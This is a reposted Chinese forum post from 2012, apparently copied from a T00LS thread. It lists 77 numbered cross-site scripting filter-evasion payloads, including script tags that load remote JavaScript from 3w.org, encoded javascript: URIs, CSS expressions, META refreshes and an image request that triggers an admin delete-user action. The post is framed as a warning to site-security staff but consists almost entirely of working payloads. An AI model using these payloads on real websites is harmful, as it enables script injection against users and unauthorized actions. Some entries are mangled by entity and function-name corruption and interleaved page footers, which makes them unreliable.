恒美力健 發表於 2012-10-16 17:17:01

XSS攻击汇总 做网站安全的朋友需要注意下

(1)普通的XSS JavaScript注入 <br />&lt;SCRIPT SRC=http://3w.org/XSS/xss.js&gt;&lt;/SCRIPT&gt; <br />(2)IMG标签XSS使用JavaScript命令 <br />&lt;SCRIPT SRC=http://3w.org/XSS/xss.js&gt;&lt;/SCRIPT&gt; <br />(3)IMG标签无分号无引号 <br />&lt;IMG SRC=javascript:alert(&lsquo;XSS&rsquo;)&gt; <br />(4)IMG标签大小写不敏感 <br />&lt;IMG SRC=JaVaScRiPt:alert(&lsquo;XSS&rsquo;)&gt; <br />(5)HTML编码(必须有分号) <br />&lt;IMG SRC=javascript:alert(&ldquo;XSS&rdquo;)&gt; <br />(6)修正缺陷IMG标签 <br />&lt;IMG &ldquo;&rdquo;&quot;&gt;&lt;SCRIPT&gt;alert(&ldquo;XSS&rdquo;)&lt;/SCRIPT&gt;&rdquo;&gt; <br />(7)formCharCode标签(计算器) <br />&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt; <br />(8)UTF-8的Unicode编码(计算器) <br />&lt;IMG SRC=jav..省略..S')&gt; <br />(9)7位的UTF-8的Unicode编码是没有分号的(计算器) <br />&lt;IMG SRC=jav..省略..S')&gt; <br />(10)十六进制编码也是没有分号(计算器) <br />&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61..省略..&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt; <br />(11)嵌入式标签,将Javascript分开 <br />&lt;IMG SRC=&rdquo;jav ascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(12)嵌入式编码标签,将Javascript分开 <br />&lt;IMG SRC=&rdquo;jav ascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(13)嵌入式换行符 <br />&lt;IMG SRC=&rdquo;jav ascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(14)嵌入式回车 <br />&lt;IMG SRC=&rdquo;jav ascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(15)嵌入式多行注入JavaScript,这是XSS极端的例子 <br />&lt;IMG SRC=&rdquo;javascript:alert(&lsquo;XSS&lsquo;)&rdquo;&gt; <br />(16)解决限制字符(要求同页面) <br />&lt;script&gt;z=&rsquo;document.&rsquo;&lt;/script&gt; <br />&lt;script&gt;z=z+&rsquo;write(&ldquo;&lsquo;&lt;/script&gt; <br />&lt;script&gt;z=z+&rsquo;&lt;script&rsquo;&lt;/script&gt; <br />&lt;script&gt;z=z+&rsquo; src=ht&rsquo;&lt;/script&gt; <br />&lt;script&gt;z=z+&rsquo;tp://ww&rsquo;&lt;/script&gt; <br />&lt;script&gt;z=z+&rsquo;w.shell&rsquo;&lt;/script&gt; <br />&lt;script&gt;z=z+&rsquo;.net/1.&rsquo;&lt;/script&gt; <br />&lt;script&gt;z=z+&rsquo;js&gt;&lt;/sc&rsquo;&lt;/script&gt; <br />&lt;script&gt;z=z+&rsquo;ript&gt;&rdquo;)&rsquo;&lt;/script&gt; <br />&lt;script&gt;eval_r(z)&lt;/script&gt; <br />(17)空字符12-7-1 T00LS - Powered by Discuz! Board <br />https://www.t00ls.net/viewthread.php?action=printable&amp;tid=15267 2/6 <br />perl -e &lsquo;print &ldquo;&lt;IMG SRC=java\0script:alert(\&rdquo;XSS\&rdquo;)&gt;&rdquo;;&rsquo; &gt; out <br />(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用 <br />perl -e &lsquo;print &ldquo;&lt;SCR\0IPT&gt;alert(\&rdquo;XSS\&rdquo;)&lt;/SCR\0IPT&gt;&rdquo;;&rsquo; &gt; out <br />(19)Spaces和meta前的IMG标签 <br />&lt;IMG SRC=&rdquo; javascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(20)Non-alpha-non-digit XSS <br />&lt;SCRIPT/XSS SRC=&rdquo;http://3w.org/XSS/xss.js&rdquo;&gt;&lt;/SCRIPT&gt; <br />(21)Non-alpha-non-digit XSS to 2 <br />&lt;BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert(&ldquo;XSS&rdquo;)&gt; <br />(22)Non-alpha-non-digit XSS to 3 <br />&lt;SCRIPT/SRC=&rdquo;http://3w.org/XSS/xss.js&rdquo;&gt;&lt;/SCRIPT&gt; <br />(23)双开括号 <br />&lt;&lt;SCRIPT&gt;alert(&ldquo;XSS&rdquo;);//&lt;&lt;/SCRIPT&gt; <br />(24)无结束脚本标记(仅火狐等浏览器) <br />&lt;SCRIPT SRC=http://3w.org/XSS/xss.js?&lt;B&gt; <br />(25)无结束脚本标记2 <br />&lt;SCRIPT SRC=//3w.org/XSS/xss.js&gt; <br />(26)半开的HTML/JavaScript XSS <br />&lt;IMG SRC=&rdquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo; <br />(27)双开角括号 <br />&lt;iframe src=http://3w.org/XSS.html &lt; <br />(28)无单引号 双引号 分号 <br />&lt;SCRIPT&gt;a=/XSS/ <br />alert(a.source)&lt;/SCRIPT&gt; <br />(29)换码过滤的JavaScript <br />\&rdquo;;alert(&lsquo;XSS&rsquo;);// <br />(30)结束Title标签 <br />&lt;/TITLE&gt;&lt;SCRIPT&gt;alert(&ldquo;XSS&rdquo;);&lt;/SCRIPT&gt; <br />(31)Input Image <br />&lt;INPUT SRC=&rdquo;javascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(32)BODY Image <br />&lt;BODY BACKGROUND=&rdquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo;&gt; <br />(33)BODY标签 <br />&lt;BODY(&lsquo;XSS&rsquo;)&gt; <br />(34)IMG Dynsrc <br />&lt;IMG DYNSRC=&rdquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo;&gt; <br />(35)IMG Lowsrc <br />&lt;IMG LOWSRC=&rdquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo;&gt; <br />(36)BGSOUND <br />&lt;BGSOUND SRC=&rdquo;javascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(37)STYLE sheet <br />&lt;LINK REL=&rdquo;stylesheet&rdquo; HREF=&rdquo;javascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(38)远程样式表 <br />&lt;LINK REL=&rdquo;stylesheet&rdquo; HREF=&rdquo;http://3w.org/xss.css&rdquo;&gt; <br />(39)List-style-image(列表式) <br />&lt;STYLE&gt;li {list-style-image: url(&ldquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo;);}&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS <br />(40)IMG VBscript <br />&lt;IMG SRC=&rsquo;vbscript:msgbox(&ldquo;XSS&rdquo;)&rsquo;&gt;&lt;/STYLE&gt;&lt;UL&gt;&lt;LI&gt;XSS <br />(41)META链接url <br />&lt;META HTTP-EQUIV=&rdquo;refresh&rdquo; CONTENT=&rdquo;0; <br />URL=http://;URL=javascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt; <br />(42)Iframe <br />&lt;IFRAME SRC=&rdquo;javascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt;&lt;/IFRAME&gt; <br />(43)Frame <br />&lt;FRAMESET&gt;&lt;FRAME SRC=&rdquo;javascript:alert(&lsquo;XSS&rsquo;);&rdquo;&gt;&lt;/FRAMESET&gt;12-7-1 T00LS - Powered by Discuz! Board <br />https://www.t00ls.net/viewthread.php?action=printable&amp;tid=15267 3/6 <br />(44)Table <br />&lt;TABLE BACKGROUND=&rdquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo;&gt; <br />(45)TD <br />&lt;TABLE&gt;&lt;TD BACKGROUND=&rdquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo;&gt; <br />(46)DIV background-image <br />&lt;DIV STYLE=&rdquo;background-image: url(javascript:alert(&lsquo;XSS&rsquo;))&rdquo;&gt; <br />(47)DIV background-image后加上额外字符(1-32&amp;34&amp;39&amp;160&amp;8192- <br />8&amp;13&amp;12288&amp;65279) <br />&lt;DIV STYLE=&rdquo;background-image: url(javascript:alert(&lsquo;XSS&rsquo;))&rdquo;&gt; <br />(48)DIV expression <br />&lt;DIV STYLE=&rdquo;width: expression_r(alert(&lsquo;XSS&rsquo;));&rdquo;&gt; <br />(49)STYLE属性分拆表达 <br />&lt;IMG STYLE=&rdquo;xss:expression_r(alert(&lsquo;XSS&rsquo;))&rdquo;&gt; <br />(50)匿名STYLE(组成:开角号和一个字母开头) <br />&lt;XSS STYLE=&rdquo;xss:expression_r(alert(&lsquo;XSS&rsquo;))&rdquo;&gt; <br />(51)STYLE background-image <br />&lt;STYLE&gt;.XSS{background-image:url(&ldquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo;);}&lt;/STYLE&gt;&lt;A <br />CLASS=XSS&gt;&lt;/A&gt; <br />(52)IMG STYLE方式 <br />exppression(alert(&ldquo;XSS&rdquo;))&rsquo;&gt; <br />(53)STYLE background <br />&lt;STYLE&gt;&lt;STYLE <br />type=&rdquo;text/css&rdquo;&gt;BODY{background:url(&ldquo;javascript:alert(&lsquo;XSS&rsquo;)&rdquo;)}&lt;/STYLE&gt; <br />(54)BASE <br />&lt;BASE HREF=&rdquo;javascript:alert(&lsquo;XSS&rsquo;);//&rdquo;&gt; <br />(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS <br />&lt;EMBED SRC=&rdquo;http://3w.org/XSS/xss.swf&rdquo; &gt;&lt;/EMBED&gt; <br />(56)在flash中使用ActionScrpt可以混进你XSS的代码 <br />a=&rdquo;get&rdquo;; <br />b=&rdquo;URL(\&rdquo;&quot;; <br />c=&rdquo;javascript:&rdquo;; <br />d=&rdquo;alert(&lsquo;XSS&rsquo;);\&rdquo;)&rdquo;; <br />eval_r(a+b+c+d); <br />(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上 <br />&lt;HTML xmlns:xss&gt; <br />&lt;?import namespace=&rdquo;xss&rdquo; implementation=&rdquo;http://3w.org/XSS/xss.htc&rdquo;&gt; <br />&lt;xss:xss&gt;XSS&lt;/xss:xss&gt; <br />&lt;/HTML&gt; <br />(58)如果过滤了你的JS你可以在图片里添加JS代码来利用 <br />&lt;SCRIPT SRC=&rdquo;&rdquo;&gt;&lt;/SCRIPT&gt; <br />(59)IMG嵌入式命令,可执行任意命令 <br />&lt;IMG SRC=&rdquo;http://www.XXX.com/a.php?a=b&rdquo;&gt; <br />(60)IMG嵌入式命令(a.jpg在同服务器) <br />Redirect 302 /a.jpg http://www.XXX.com/admin.asp&amp;deleteuser <br />(61)绕符号过滤 <br />&lt;SCRIPT a=&rdquo;&gt;&rdquo; SRC=&rdquo;http://3w.org/xss.js&rdquo;&gt;&lt;/SCRIPT&gt; <br />(62) <br />&lt;SCRIPT =&rdquo;&gt;&rdquo; SRC=&rdquo;http://3w.org/xss.js&rdquo;&gt;&lt;/SCRIPT&gt; <br />(63) <br />&lt;SCRIPT a=&rdquo;&gt;&rdquo; &rdquo; SRC=&rdquo;http://3w.org/xss.js&rdquo;&gt;&lt;/SCRIPT&gt; <br />(64) <br />&lt;SCRIPT &ldquo;a=&rsquo;&gt;&rsquo;&rdquo; SRC=&rdquo;http://3w.org/xss.js&rdquo;&gt;&lt;/SCRIPT&gt; <br />(65) <br />&lt;SCRIPT a=`&gt;` SRC=&rdquo;http://3w.org/xss.js&rdquo;&gt;&lt;/SCRIPT&gt; <br />(66)12-7-1 T00LS - Powered by Discuz! Board <br />https://www.t00ls.net/viewthread.php?action=printable&amp;tid=15267 4/6 <br />&lt;SCRIPT a=&rdquo;&gt;&rsquo;&gt;&rdquo; SRC=&rdquo;http://3w.org/xss.js&rdquo;&gt;&lt;/SCRIPT&gt; <br />(67) <br />&lt;SCRIPT&gt;document.write(&ldquo;&lt;SCRI&rdquo;);&lt;/SCRIPT&gt;PT SRC=&rdquo;http://3w.org/xss.js&rdquo;&gt; <br />&lt;/SCRIPT&gt; <br />(68)URL绕行 <br />&lt;A HREF=&rdquo;http://127.0.0.1/&rdquo;&gt;XSS&lt;/A&gt; <br />(69)URL编码 <br />&lt;A HREF=&rdquo;http://3w.org&rdquo;&gt;XSS&lt;/A&gt; <br />(70)IP十进制 <br />&lt;A HREF=&rdquo;http://3232235521&Prime;&gt;XSS&lt;/A&gt; <br />(71)IP十六进制 <br />&lt;A HREF=&rdquo;http://0xc0.0xa8.0&times;00.0&times;01&Prime;&gt;XSS&lt;/A&gt; <br />(72)IP八进制 <br />&lt;A HREF=&rdquo;http://0300.0250.0000.0001&Prime;&gt;XSS&lt;/A&gt; <br />(73)混合编码 <br />&lt;A HREF=&rdquo;h <br />tt p://6 6.000146.0&times;7.147/&rdquo;&quot;&gt;XSS&lt;/A&gt; <br />(74)节省 <br />&lt;A HREF=&rdquo;//www.google.com/&rdquo;&gt;XSS&lt;/A&gt; <br />(75)节省 <br />&lt;A HREF=&rdquo;http://google.com/&rdquo;&gt;XSS&lt;/A&gt; <br />(76)绝对点绝对DNS <br />&lt;A HREF=&rdquo;http://www.google.com./&rdquo;&gt;XSS&lt;/A&gt; <br />(77)javascript链接 <br />&lt;A HREF=&rdquo;javascript:document.location=&rsquo;http://www.google.com/&rsquo;&rdquo;&gt;XSS&lt;/A&gt;
頁: [1]
查看完整版本: XSS攻击汇总 做网站安全的朋友需要注意下